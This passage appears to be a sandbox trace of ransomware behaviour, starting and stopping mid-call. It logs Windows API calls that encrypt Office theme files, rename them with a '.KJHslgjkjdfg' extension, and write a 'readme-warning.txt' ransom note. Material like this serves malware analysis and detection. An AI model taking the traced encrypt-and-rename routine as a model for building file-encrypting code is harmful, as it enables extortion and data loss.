lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0146.634] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0146.634] WriteFile (in: hFile=0x118, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0146.634] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0146.634] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0146.634] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0146.634] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0146.634] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.635] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x6fb3, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x6fb3, lpOverlapped=0x0) returned 1 [0146.636] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x6fc0, dwBufLen=0x6fc0 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x6fc0) returned 1 [0146.636] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.636] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x6fc0, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x6fc0, lpOverlapped=0x0) returned 1 [0146.637] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.637] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x7094, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.637] SetEndOfFile (hFile=0x118) returned 1 [0146.640] GetProcessHeap () returned 0x2a0000 [0146.640] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0146.640] GetProcessHeap () returned 0x2a0000 [0146.640] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0146.640] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0146.641] CloseHandle (hObject=0x118) returned 1 [0146.645] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6fb3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0146.645] GetProcessHeap () returned 0x2a0000 [0146.645] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0146.645] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0146.645] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570, pdwDataLen=0x290ee20 | out: pbData=0x2bf570, pdwDataLen=0x290ee20) returned 1 [0146.645] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.645] GetProcessHeap () returned 0x2a0000 [0146.645] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf5b8 [0146.645] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0146.645] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf5b8, pdwDataLen=0x290ee20 | out: pbData=0x2bf5b8, pdwDataLen=0x290ee20) returned 1 [0146.645] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.645] GetProcessHeap () returned 0x2a0000 [0146.645] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3c0) returned 0x2f6728 [0146.645] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0146.645] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f6728, pdwDataLen=0x290ee20 | out: pbData=0x2f6728, pdwDataLen=0x290ee20) returned 1 [0146.645] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.645] GetProcessHeap () returned 0x2a0000 [0146.646] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0146.646] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0146.646] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528, pdwDataLen=0x290ea00 | out: pbData=0x2bf528, pdwDataLen=0x290ea00) returned 1 [0146.646] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.646] GetProcessHeap () returned 0x2a0000 [0146.646] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0146.646] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0146.646] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290ea00 | out: pbData=0x2c1640, pdwDataLen=0x290ea00) returned 1 [0146.646] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.646] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x290e9fc | out: phkResult=0x290e9fc*=0x118) returned 0x0 [0146.646] RegQueryValueExA (in: hKey=0x118, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x290ea08, lpcbData=0x290ea04*=0x400 | out: lpType=0x0, lpData=0x290ea08*=0x30, lpcbData=0x290ea04*=0x18) returned 0x0 [0146.646] RegCloseKey (hKey=0x118) returned 0x0 [0146.646] GetProcessHeap () returned 0x2a0000 [0146.646] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0146.646] GetProcessHeap () returned 0x2a0000 [0146.646] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0146.646] GetProcessHeap () returned 0x2a0000 [0146.646] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0146.647] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0146.647] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290e7d4 | out: pbData=0x2c1640, pdwDataLen=0x290e7d4) returned 1 [0146.647] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.647] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x290e7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0146.647] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x290e7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x290e7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0146.647] GetProcessHeap () returned 0x2a0000 [0146.647] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0146.647] wsprintfA (in: param_1=0x290ea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0146.647] wsprintfA (in: param_1=0x290ee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0146.647] GetProcessHeap () returned 0x2a0000 [0146.647] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3b4) returned 0x2f6af0 [0146.647] wsprintfW (in: param_1=0x290ddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\readme-warning.txt") returned 83 [0146.647] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0146.648] WriteFile (in: hFile=0x118, lpBuffer=0x2f6af0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x290ddf8, lpOverlapped=0x0 | out: lpBuffer=0x2f6af0*, lpNumberOfBytesWritten=0x290ddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0146.649] CloseHandle (hObject=0x118) returned 1 [0146.650] GetProcessHeap () returned 0x2a0000 [0146.650] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f6728 | out: hHeap=0x2a0000) returned 1 [0146.650] GetProcessHeap () returned 0x2a0000 [0146.650] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f6af0 | out: hHeap=0x2a0000) returned 1 [0146.650] GetProcessHeap () returned 0x2a0000 [0146.650] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf5b8 | out: hHeap=0x2a0000) returned 1 [0146.650] GetProcessHeap () returned 0x2a0000 [0146.650] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0146.650] FindClose (in: hFindFile=0x2c63a0 | out: hFindFile=0x2c63a0) returned 1 [0146.650] GetProcessHeap () returned 0x2a0000 [0146.650] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x2a0000) returned 1 [0146.650] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6073a7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DEEPBLUE", cAlternateFileName="")) returned 1 [0146.650] GetProcessHeap () returned 0x2a0000 [0146.650] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x92) returned 0x2c7fd8 [0146.650] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\*.*", lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6073a7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c63a0 [0146.651] GetProcessHeap () returned 0x2a0000 [0146.651] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7fd8 | out: hHeap=0x2a0000) returned 1 [0146.651] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6073a7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0146.651] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf641f700, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf641f700, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x116dc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DEEPBLUE.ELM", cAlternateFileName="")) returned 1 [0146.651] GetProcessHeap () returned 0x2a0000 [0146.651] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x294) returned 0x2f32d0 [0146.651] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\deepblue.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0146.653] GetProcessHeap () returned 0x2a0000 [0146.653] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0146.653] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0146.653] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0146.653] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0146.655] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0146.655] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0146.655] GetProcessHeap () returned 0x2a0000 [0146.655] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0146.655] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0146.655] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.655] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0146.656] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0146.656] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0146.656] WriteFile (in: hFile=0x118, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0146.656] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0146.656] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0146.656] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0146.656] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0146.656] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.656] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x116dc, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x116dc, lpOverlapped=0x0) returned 1 [0146.658] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x116e0, dwBufLen=0x116e0 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x116e0) returned 1 [0146.659] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.659] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x116e0, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x116e0, lpOverlapped=0x0) returned 1 [0146.659] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.659] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x117b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.659] SetEndOfFile (hFile=0x118) returned 1 [0146.662] GetProcessHeap () returned 0x2a0000 [0146.662] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0146.663] GetProcessHeap () returned 0x2a0000 [0146.663] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0146.663] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\deepblue.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\deepblue.elm.kjhslgjkjdfg")) returned 1 [0146.663] CloseHandle (hObject=0x118) returned 1 [0146.664] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x239, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DEEPBLUE.INF", cAlternateFileName="")) returned 1 [0146.664] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\deepblue.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0146.664] GetProcessHeap () returned 0x2a0000 [0146.664] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0146.664] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0146.664] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0146.664] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x7, lpOverlapped=0x0) returned 1 [0146.666] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0146.666] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0146.666] GetProcessHeap () returned 0x2a0000 [0146.666] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0146.666] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0146.666] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.666] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0146.666] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0146.666] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0146.667] WriteFile (in: hFile=0x118, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0146.667] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0146.667] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0146.667] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0146.667] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0146.667] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.667] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x239, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x239, lpOverlapped=0x0) returned 1 [0146.667] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x240, dwBufLen=0x240 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x240) returned 1 [0146.668] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.668] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x240, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x240, lpOverlapped=0x0) returned 1 [0146.668] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.668] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x314, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.668] SetEndOfFile (hFile=0x118) returned 1 [0146.670] GetProcessHeap () returned 0x2a0000 [0146.671] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0146.671] GetProcessHeap () returned 0x2a0000 [0146.671] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0146.671] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\deepblue.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\deepblue.inf.kjhslgjkjdfg")) returned 1 [0146.677] CloseHandle (hObject=0x118) returned 1 [0146.677] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, 